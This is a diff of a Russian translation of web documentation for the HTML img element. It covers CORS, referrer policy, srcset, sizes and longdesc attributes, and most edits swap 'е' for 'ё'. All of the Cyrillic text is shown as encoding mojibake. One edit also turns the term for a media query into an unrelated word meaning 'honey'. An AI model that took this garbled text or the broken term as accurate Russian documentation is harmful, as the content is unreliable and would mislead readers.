+ <p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, слСдуСт Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{glossary("CORS")}} ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ изобраТСния ΠΈΠ»ΠΈ Π½Π΅Ρ‚. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ CORS</a> ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² элСмСнтС {{HTMLElement("canvas")}} Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‡ΠΈ "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчСнными</a>". ДопустимыС значСния:</p>
<ul>
<li><code>anonymous</code>: Запрос cross-origin (Ρ‚.Π΅. с HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{httpheader("Origin")}}) выполняСтся, Π½ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ доступа Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ (Ρ‚.Π΅. Π½Π΅Ρ‚ {{glossary("cookie")}}, Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <a class="external" href="https://tools.ietf.org/html/rfc5280">стандарт X.509</a> ΠΈΠ»ΠΈ базовая HTTP-аутСнтификация). Если сСрвСр Π½Π΅ прСдоставляСт ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ доступа исходному сайту (Π½Π΅ устанавливая HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{httpheader("Access-Control-Allow-Origin")}}), ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчСно</a>" ΠΈ Π΅Π³ΠΎ использованиС Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ;</li>
@@ -150,7 +150,7 @@ translation_of: Web/HTML/Element/img
<p>Π­Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ логичСского Ρ‚ΠΈΠΏΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ сСрвСрной ΠΊΠ°Ρ€Ρ‚Ρ‹ ссылок. Если это Ρ‚Π°ΠΊ, Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΊΠ»ΠΈΠΊΠ° ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° сСрвСр.</p>
<div class="note">
- <p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли элСмСнт <code>&lt;img&gt;</code> являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{htmlelement("a")}} с Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌ (ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ трСбованиям) Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("href","a")}}.</p>
+ <p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли элСмСнт <code>&lt;img&gt;</code> являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{htmlelement("a")}} с Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌ (ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ трСбованиям) Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("href","a")}}.</p>
</div>
</dd>
<dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
@@ -161,16 +161,16 @@ translation_of: Web/HTML/Element/img
<li><code>no-referrer</code>: Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{httpheader("Referer")}} Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½;</li>
<li><code>no-referrer-when-downgrade</code>: Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{httpheader("Referer")}} Π½Π΅ отправляСтся, ΠΊΠΎΠ³Π΄Π° происходит ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ источнику Π±Π΅Π· {{glossary("TLS")}} ({{glossary("HTTPS")}}). Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для {{glossary("user agent", "ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°Π³Π΅Π½Ρ‚ΠΎΠ²")}}, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΈΠ½ΠΎΠ΅;</li>
<li><code>origin</code>: Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{httpheader("Referer")}} Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ схСму адрСсации рСсурса (HTTP, HTTPS, {{glossary("FTP")}} ΠΈ Ρ‚.Π΄), {{glossary("host", "хост")}} ΠΈ {{glossary("port", "ΠΏΠΎΡ€Ρ‚")}};</li>
- <li><code>origin-when-cross-origin</code>: ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ источники ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ Ρ€Π΅Ρ„Π΅Ρ€Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ схСмой адрСсации рСсурса, {{glossary("host", "хостом")}} ΠΈ {{glossary("port", "ΠΏΠΎΡ€Ρ‚ΠΎΠΌ")}}, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΈΠ· Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ источника Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Ρ€Π΅Ρ„Π΅Ρ€Π°Π»Π°;</li>
- <li><code>unsafe-url</code>: Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{httpheader("Referer")}} Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ источник ΠΈ ΠΏΡƒΡ‚ΡŒ, Π½ΠΎ Π½Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ {{glossary("URL")}}, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈΠ»ΠΈ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ нСбСзопасСн, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ‚Π΅Ρ‡ΠΊΠ° источников ΠΈ ΠΏΡƒΡ‚Π΅ΠΉ ΠΎΡ‚ рСсурсов, Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Ρ… {{glossary("TLS")}}, ΠΊ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΌ источникам.</li>
+ <li><code>origin-when-cross-origin</code>: ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ источники ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ Ρ€Π΅Ρ„Π΅Ρ€Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ схСмой адрСсации рСсурса, {{glossary("host", "хостом")}} ΠΈ {{glossary("port", "ΠΏΠΎΡ€Ρ‚ΠΎΠΌ")}}, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΈΠ· Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ источника Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Ρ€Π΅Ρ„Π΅Ρ€Π°Π»Π°;</li>
+ <li><code>unsafe-url</code>: Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{httpheader("Referer")}} Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ источник ΠΈ ΠΏΡƒΡ‚ΡŒ, Π½ΠΎ Π½Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ {{glossary("URL")}}, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈΠ»ΠΈ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ нСбСзопасСн, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ‚Π΅Ρ‡ΠΊΠ° источников ΠΈ ΠΏΡƒΡ‚Π΅ΠΉ ΠΎΡ‚ рСсурсов, Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Ρ… {{glossary("TLS")}}, ΠΊ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌ источникам.</li>
</ul>
</dd>
<dt>{{htmlattrdef("sizes")}}</dt>
<dd>
- <p>Бписок ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… Π½Π°Π±ΠΎΡ€ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² источника. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ источника состоит ΠΈΠ·:</p>
+ <p>Бписок ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… Π½Π°Π±ΠΎΡ€ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² источника. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ источника состоит ΠΈΠ·:</p>
<ol>
- <li>Условия ΠΌΠ΅Π΄Π°-запроса. Оно Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ для послСднСго элСмСнта.</li>
+ <li>Условия ΠΌΡ‘Π΄Π°-запроса. Оно Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ для послСднСго элСмСнта.</li>
<li>ЗначСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° источника.</li>
</ol>
@@ -180,13 +180,13 @@ translation_of: Web/HTML/Element/img
<dd>{{glossary("URL")}} изобраТСния. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ для элСмСнта <code>&lt;img&gt;</code>. Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… <code>srcset</code>, <code>src</code> обрабатываСтся ΠΊΠ°ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅-ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ с дСскриптором плотности пиксСлСй <code>1x</code>, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с этим дСскриптором ΡƒΠΆΠ΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² <code>srcset</code> ΠΈΠ»ΠΈ Ссли <code>srcset</code> Π½Π΅ содСрТит дСскрипторы '<code>w</code>'.</dd>
<dt>{{htmlattrdef("srcset")}}</dt>
<dd>
- <p>Бписок ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… Π½Π°Π±ΠΎΡ€ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ источников изобраТСния для использования {{glossary("user agent", "ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ Π°Π³Π΅Π½Ρ‚Π°ΠΌΠΈ")}}. КаТдая строка состоит ΠΈΠ·:</p>
+ <p>Бписок ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… Π½Π°Π±ΠΎΡ€ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ источников изобраТСния для использования {{glossary("user agent", "ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ Π°Π³Π΅Π½Ρ‚Π°ΠΌΠΈ")}}. КаТдая строка состоит ΠΈΠ·:</p>
<ol>
<li>{{glossary("URL")}} изобраТСния.</li>
<li>ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ, ΠΏΡ€ΠΎΠ±Π΅Π»Π°, сопровоТдаСмого:
<ul>
- <li>дСскриптором ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ†Π΅Π»Ρ‹ΠΌ числом, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ сразу ΠΆΠ΅ слСдуСт '<code>w</code>'. ДСскриптор ΡˆΠΈΡ€ΠΈΠ½Ρ‹ дСлится Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ источника, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>sizes</code>, для расчСта эффСктивной плотности пиксСлСй;</li>
+ <li>дСскриптором ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ†Π΅Π»Ρ‹ΠΌ числом, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ сразу ΠΆΠ΅ слСдуСт '<code>w</code>'. ДСскриптор ΡˆΠΈΡ€ΠΈΠ½Ρ‹ дСлится Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ источника, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>sizes</code>, для расчёта эффСктивной плотности пиксСлСй;</li>
<li>дСскриптором плотности пиксСлСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ числом с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ сразу ΠΆΠ΅ слСдуСт '<code>x</code>'.</li>
</ul>
</li>
@@ -196,7 +196,7 @@ translation_of: Web/HTML/Element/img
<p>НСльзя ΡΠΌΠ΅ΡˆΠΈΠ²Π°Ρ‚ΡŒ дСскрипторы ΡˆΠΈΡ€ΠΈΠ½Ρ‹ с дСскрипторами плотности пиксСлСй Π² ΠΎΠ΄Π½ΠΎΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>srcset</code>. ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ дСскрипторов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄Π²Π° источника Π² ΠΎΠ΄Π½ΠΎΠΌ <code>srcset</code> с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ дСскриптором '<code>2x</code>') Ρ‚Π°ΠΊ ΠΆΠ΅ являСтся нСдопустимым.</p>
- <p>{{glossary("user agent", "ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹")}} Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ любой ΠΈΠ· доступных источников Π½Π° своС усмотрСниС. Π­Ρ‚ΠΎ прСдоставляСт ΠΈΠΌ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ свободу дСйствий для Π°Π΄Π°ΠΏΡ‚Π°Ρ†ΠΈΠΈ ΠΈΡ… Π²Ρ‹Π±ΠΎΡ€Π° Π½Π° основС Ρ‚Π°ΠΊΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠ°ΠΊ прСдпочтСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈΠ»ΠΈ {{glossary("bandwidth", "пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ")}}. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ нашС руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">АдаптивныС изобраТСния</a>" для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
+ <p>{{glossary("user agent", "ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹")}} Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ любой ΠΈΠ· доступных источников Π½Π° своё усмотрСниС. Π­Ρ‚ΠΎ прСдоставляСт ΠΈΠΌ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ свободу дСйствий для Π°Π΄Π°ΠΏΡ‚Π°Ρ†ΠΈΠΈ ΠΈΡ… Π²Ρ‹Π±ΠΎΡ€Π° Π½Π° основС Ρ‚Π°ΠΊΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠ°ΠΊ прСдпочтСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈΠ»ΠΈ {{glossary("bandwidth", "пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ")}}. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ нашС руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">АдаптивныС изобраТСния</a>" для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
</dd>
<dt>{{htmlattrdef("width")}}</dt>
<dd>ВнутрСнняя ΡˆΠΈΡ€ΠΈΠ½Π° (см. {{glossary("intrinsic size", "Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€")}}) изобраТСния Π² пиксСлях.</dd>
@@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/img
<p>Бсылка Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС изобраТСния. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΠΈ значСниями ΡΠ²Π»ΡΡŽΡ‚ΡΡ {{glossary("URL")}} ΠΈΠ»ΠΈ {{htmlattrxref("id")}} элСмСнта.</p>
<div class="note">
- <p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ упомянут Π² послСднСй вСрсии ΠΎΡ‚ {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, Π½ΠΎ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">ΠΆΠΈΠ²ΠΎΠ³ΠΎ стандарта HTML</a> ΠΎΡ‚ {{glossary("WHATWG")}}. Π£ Π½Π΅Π³ΠΎ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π±ΡƒΠ΄ΡƒΡ‰Π΅Π΅; Π°Π²Ρ‚ΠΎΡ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ {{glossary("WAI")}}-{{glossary("ARIA")}}, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> ΠΈΠ»ΠΈ <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p>
+ <p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ упомянут Π² послСднСй вСрсии ΠΎΡ‚ {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, Π½ΠΎ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">ΠΆΠΈΠ²ΠΎΠ³ΠΎ стандарта HTML</a> ΠΎΡ‚ {{glossary("WHATWG")}}. Π£ Π½Π΅Π³ΠΎ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π±ΡƒΠ΄ΡƒΡ‰Π΅Π΅; Π°Π²Ρ‚ΠΎΡ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ {{glossary("WAI")}}-{{glossary("ARIA")}}, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> ΠΈΠ»ΠΈ <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p>
</div>
</dd>
<dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt>
@@ -306,7 +306,7 @@ translation_of: Web/HTML/Element/img
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ…_Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ…_описаний">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… описаний</h3>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΈ ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ содСрТимоС изобраТСния. Он Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ самого изобраТСния ΠΈΠ»ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° изобраТСния. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt</code> Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ тСкстового эквивалСнта, рассмотритС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ способы прСдставлСния содСрТимого, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ 